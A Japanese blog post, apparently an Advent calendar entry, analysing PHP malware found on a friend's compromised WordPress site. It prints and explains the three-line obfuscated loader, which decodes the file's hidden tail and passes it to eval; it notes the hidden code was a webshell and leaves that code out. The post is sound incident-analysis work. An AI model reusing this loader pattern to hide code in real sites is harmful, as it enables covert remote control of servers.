今回の事象は @Ayutanalects さんのWordPressを運用中のサーバがまるごとPHPマルウェアに感染していた時の対応メモ とほぼ同じものでした。対策など詳しく書いてくださっているのでご興味がある方はこちらを読んでみてください。
この記事は一部フィクションを含みます。また、実際のコードを載せようと思いましたが、危険そうな部分のマスキング作業に時間がかかりそうでしたので,スクリーンショットだけにしています。
プロローグ
ことのはじまり
2024年11月、友人から突然メッセージが届きました。要約すると「急にサイトが表示されなくなったから助けてほしい」というものでした。どうせ彼が何かおかしな操作をしてしまったのだろうと考え、サイトの認証情報を教えてもらい、状況を確認することにしました。
状況
サイトは WordPress で作成されています。しかし確認してみると、サイトは一面真っ白になっており、ブラウザ上からは何も表示されません。もちろん admin 画面も表示されず、ブラウザからは何も操作できない状態でした。また、ログも記録されておらず,いつから発生していたのか特定できません。しかし不幸中の幸いで,このサイトは某有名レンタルサーバー上にホストされており、FTPやSSHでの接続は可能でした。
やったこと
WordPress、MySQL、PHPなどの各種バージョンを確認しました。何かバージョンによる issue が障害報告があってくれと願いましたが、それらしい報告は見つかりませんでした。
先ほど確認したバージョンに合わせて公式の WordPress サイトからダウンロードしたファイル群とサーバー上にあったファイル群を比較し、差分があったファイルを詳しく確認していきました。
その結果、いくつかの不思議なファイルを発見することができました。例えば以下の画像のようなプログラムでした。
3行目から9行目にはある企業のロゴがASCIIアートで描かれています。(この記事ではマスキングしています)
また、11行目から14行目のpackage、file、copyright、siteも、それらしく作られていました。
...........ただ!そのあとがいかにも怪しすぎる!
ってことで興味本位ですが,実際はどのようなプログラムなのか見ていきたいと思います.
(プロローグが長くなりました)
本題
1命令目
$L86Rgr = explode(base64_decode("Pz4="), file_get_contents(/*******/ __FILE__));
初っ端から、意味不明です。
PHP の explode()
は、第一引数の文字列で第二引数の文字列を分割し、配列を返します。
今回のコードでは,第1引数の base64_decode("Pz4=")
が ?>
に変換されます。
そして、第2引数 file_get_contents(/*******/ __FILE__)
は、このコード自身のファイルを文字列として扱っていることを意味します。
つまり、以下のようになり,ファイルそのものを文字列として読み取り、 ?>
で分割しろという命令です。
$L86Rgr = explode("?>", {{このファイル自身}});
今回のファイルでは ?>
は、スクリーンショットの exit();
の直後にある一箇所のみでしたので,ある程度プログラムっぽい前部分と,意味が良く分からない後半部分の2要素だけの配列が作成されました。
2命令目
$L8CRgr = array(base64_decode("L3gvaQ=="), base64_decode("eA=="), base64_decode(strrev(str_rot13($L86Rgr[1]))));
このコードでは、base64_decode 関数がよく使用されていますね。1つ1つデコードしていきます。
-
第1引数:
-
base64_decode("L3gvaQ==")
=>/x/i
-
-
第2引数:
-
base64_decode("eA==")
=>x
-
-
第3引数:
-
$L86Rgr[1]
は、先ほど1命令目で分割したこのファイルの後半にある文字列を指します -
str_rot13()
は、各文字を13文字分シフトさせる関数です。アルファベット以外の文字はそのまま残します -
strrev()
は、文字列を逆順に並べる関数です - つまり、このファイルの後半の文字列(のアルファベット部分)を13文字分シフトさせ、それを逆順に並べ替えた後、すべてBASE64でデコードするという内容になります
-
これらを合わせると以下のようになり,要素が3の配列が作成されました。
$L8CRgr = array("/x/i", "x", {{このファイルの後半の難読化された部分を復号したもの}});
3命令目
preg_replace($L8CRgr[0], serialize(/****/ @eval(/****/ $L8CRgr[2])), $L8CRgr[1]);
preg_replace()
関数は、第一引数として与えられた正規表現にマッチする文字列を、第二引数の文字列に置換するという命令を、第三引数の文字列に対して行います。
少し分かりにくいですが、具体例を挙げると以下のようになります。
$subject = '私はJavaが好きです';
$search = '/Java/';
$replace = 'PHP';
$subject = preg_replace($search, $replace, $subject);
echo $subject;
//実行結果:私はPHPが好きです
これを今回のプログラムで当てはめると、以下のようになります。
preg_replace("/x/i", serialize(/****/ @eval(/****/ $L8CRgr[2])), "x");
preg_replace()
は、第1引数の正規表現が"/x/i"
なので、そのまま第3引数の"x"と完全一致します。つまり、第2引数がそのまま preg_replace() の返り値となります。
第2引数の serialize(/****/ @eval(/****/ $L8CRgr[2]))
の部分について説明すると、/****/
はただのコメントであり削除して構いません。また、eval の直前に付いている@
はエラーを無視するためのもので、コード自体には直接影響しません。つまり、最終的には次のようなコードになります。
serialize(eval($L8CRgr[2]))
このコードは $L8CRgr[2] に格納されていた文字列が eval()
関数によってプログラムとして実行され、実行結果がシリアライズ化されます。その結果、評価されたコードによって何かしらの影響を与えられることが推測できます。
実際、$L8CRgr[2] の文字列は WebShell(ブラウザ上で実行するシェル)のプログラムでした。
今回は無害化してコードを公開しようと思っていましたがアドベントカレンダーの時間に間に合わなかったため非公開とさせていただきます。
まとめ
- 難読化しているだけで読めるは読める
- レンタルサーバでもログを有効化してしっかり記録しましょう
- セキュリティ対策はしっかりしましょう
今回はかなり読みにくいものになってしまいましたが,また別の記事として実施した対応策なども書いていけたらなと思います。